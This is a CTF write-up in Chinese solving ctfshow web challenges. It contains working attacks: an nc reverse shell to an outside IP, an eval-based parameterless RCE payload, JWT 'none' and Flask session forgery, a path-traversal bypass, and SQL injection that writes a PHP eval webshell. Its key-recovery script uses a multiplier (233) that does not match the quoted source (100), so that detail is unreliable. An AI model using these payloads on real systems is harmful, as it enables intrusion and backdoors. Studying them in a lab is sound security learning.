ctfshow___Web应用安全与防护

第一章

Base64编码隐藏

f12查看到base64编码的密码,登陆进去后拿到flag.

HTTP头注入

f12发现密码登录后按提示改ua。

Cookie伪造

直接弱口令guest登录,然后cookie改role为admin即可。

第二章

反弹shell构造

使用nc反弹shell:
nc -e /bin/sh 20.18.226.90 4444
然后在本地监听4444端口:
nc -lvp 4444

一句话木马变形

这里发现不能用空格了很难办。学习大佬wp发现可以用用到无参RCE,也就顺便学习一下:

下面是php中一些文件操作之类的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)

localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)

current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

getcwd() :取得当前工作目录

dirname():函数返回路径中的目录部分

array_flip() :交换数组中的键和值,成功时返回交换后的数组

array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

chdir() :函数改变当前的目录。

eval()assert():命令执行

hightlight_file()show_source()、readfile():读取文件内容

数组相关函数:

1
2
3
4
5
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动`

payload:

1
2
3
/?1=system("ls");

code=eval(end(current(get_defined_vars())));

下面给出解释:
get_defined_vars()会给出一个二维数组里面会有get和post参数,再通过current拿到第一个GET参数数组,然后end取下元素,最终eval执行。

RCE篇之无参数rce - 学安全的小白 - 博客园

反弹shell构造

管道符绕过过滤

无字母数字代码执行

无字母数字命令执行

第三章

弱口令爆破

用提供的字典爆破就行。

JWT令牌伪造

根据提示,考的是none空加密算法。
直接在线修改为none,然后admin修改为true即可。

日志文件包含

php://filter读取源码

路径遍历突破

先查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CTFshow 文件管理助手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
background: linear-gradient(135deg, #232526 0%, #414345 100%);
color: #fff;
font-family: 'Fira Mono', 'Consolas', monospace;
margin: 0;
padding: 0;
}
.container {
max-width: 700px;
margin: 40px auto;
background: rgba(30, 30, 40, 0.95);
border-radius: 18px;
box-shadow: 0 0 30px #00ffe7, 0 0 10px #232526;
padding: 32px 36px 36px 36px;
}
h1 {
text-align: center;
font-size: 2.5em;
letter-spacing: 2px;
color: #00ffe7;
text-shadow: 0 0 10px #00ffe7, 0 0 2px #fff;
margin-bottom: 28px;
}
form {
display: flex;
gap: 10px;
margin-bottom: 22px;
}
input[type="text"] {
flex: 1;
padding: 12px;
border-radius: 8px;
border: none;
background: #232526;
color: #fff;
font-size: 1.1em;
outline: none;
box-shadow: 0 0 8px #00ffe7 inset;
transition: box-shadow 0.2s;
}
input[type="text"]:focus {
box-shadow: 0 0 16px #00ffe7;
}
button {
padding: 12px 28px;
border-radius: 8px;
border: none;
background: linear-gradient(90deg, #00ffe7 0%, #007cf0 100%);
color: #232526;
font-size: 1.1em;
font-weight: bold;
cursor: pointer;
box-shadow: 0 0 10px #00ffe7;
transition: background 0.2s, color 0.2s;
}
button:hover {
background: linear-gradient(90deg, #007cf0 0%, #00ffe7 100%);
color: #fff;
}
.browser-window {
background: #18191c;
border-radius: 12px;
box-shadow: 0 0 16px #00ffe7, 0 0 2px #fff;
padding: 0;
min-height: 350px;
margin-top: 10px;
overflow: auto;
position: relative;
}
.browser-bar {
background: #232526;
border-radius: 12px 12px 0 0;
padding: 8px 16px;
display: flex;
align-items: center;
gap: 8px;
}
.dot {
width: 10px;
height: 10px;
border-radius: 50%;
display: inline-block;
}
.dot.red { background: #ff5f56; }
.dot.yellow { background: #ffbd2e; }
.dot.green { background: #27c93f; }
.browser-content {
padding: 18px 22px;
color: #fff;
min-height: 300px;
font-size: 1.08em;
font-family: 'Fira Mono', 'Consolas', monospace;
word-break: break-all;
}
.footer {
text-align: center;
margin-top: 30px;
color: #888;
font-size: 0.95em;
letter-spacing: 1px;
}
@media (max-width: 800px) {
.container { padding: 16px 4vw 24px 4vw; }
.browser-content { padding: 10px 4vw; }
}
</style>
<link href="https://fonts.googleapis.com/css?family=Fira+Mono:400,700&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>CTFshow 文件管理助手</h1>
<form method="get" autocomplete="off">
<input type="text" name="path" placeholder="请输入要读取的文件名称" value="<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['url']) : ''; ?>">
<button type="submit">读取</button>
</form>
<div class="browser-window">
<div class="browser-bar">
<span class="dot red"></span>
<span class="dot yellow"></span>
<span class="dot green"></span>
<span style="margin-left: 18px; color: #00ffe7; font-size: 1em;">
<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['path']) : 'test.txt'; ?>
</span>
</div>
<div class="browser-content">
<?php

if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}

#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}

echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
</div>
</div>
<div class="footer">
<span>? Powered by <a href="https://ctf.show" target="_blank">ctfshow</a></span>
</div>
</div>

正则匹配禁止掉了./开头的路径,那要怎么读取到根目录下的文件呢?。。。。

我们可以先给出一个不存在的目录放在开头,然后再路径穿越。

image-20250919233407210

第四章

Flask_Session伪造

进去之后read路由有文件包含,尝试读取了源码/app/app.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
app.debug = False

@app.route('/')
def index():
session['username'] = 'guest'
return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.findall('flag', url, re.IGNORECASE):
return '禁止访问'
res = urllib.request.urlopen(url)
return res.read().decode('utf-8', errors='ignore')
except Exception as ex:
print(str(ex))
return '无读取内容可以展示'

@app.route('/flag')
def flag():
if session.get('username') == 'admin':
return open('/flag.txt', encoding='utf-8').read()
else:
return '访问受限'

if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)

发现SECRET_KEY有用到random库,应该是伪随机固定数值。
uuid.getnode()用于获取当前机器的MAC地址,作为随机数种子的一部分。

1
2
3
4
5
uuid.getnode()

获取硬件的地址并以48位二进制长度的正整数形式返回,这里所说的硬件地址是指网络接口的MAC
地址,如果一个机器有多个网络接口,可能返回其中的任一个。如果获取失败,将按照RFC 4122的规定
将随机返回的48位二进制整数的第8位设置成1

读取/sys/class/net/eth0/address 获得mac地址,然后脚本处理一下:

1
2
3
4
5
6
7
8
9
10
11
12
import random

mac = "c6:bc:6b:39:0a:98"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

之后用得到的私钥伪造session:

1
2
3
4
5
E:\myCTFTools\WebTools\flask-session-cookie-manager-master>  eyJ1c2VybmFtZSI6Imd1ZXN0In0.aLcPtA.hTVLWpwcdv41tb8x22PNx89NEE4
b'{"username":"guest"}'

E:\myCTFTools\WebTools\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "7.028160380236292"
eyJ1c2VybmFtZSI6ImFkbWluIn0.aLcYIg.unDeF5MceMaqC8PwOr9qsWEG0Es

最后访问/flag路由,成功获取flag。
20250903002926

第五章

堆叠注入写shell

刚开始fuzz,发现%5c有不一样的回显,但不明白只是什么东西,直到看到其他师傅wp才反应过来是注释符发力了(

想到常见的后台查询语句:$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

应该是username的单引号被转义掉了,

username=\&password=or 1=1;select "<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/2.php";#

然后蚁剑链接即可,注意需要把链接改成http,不然连不上。

image-20250916203859327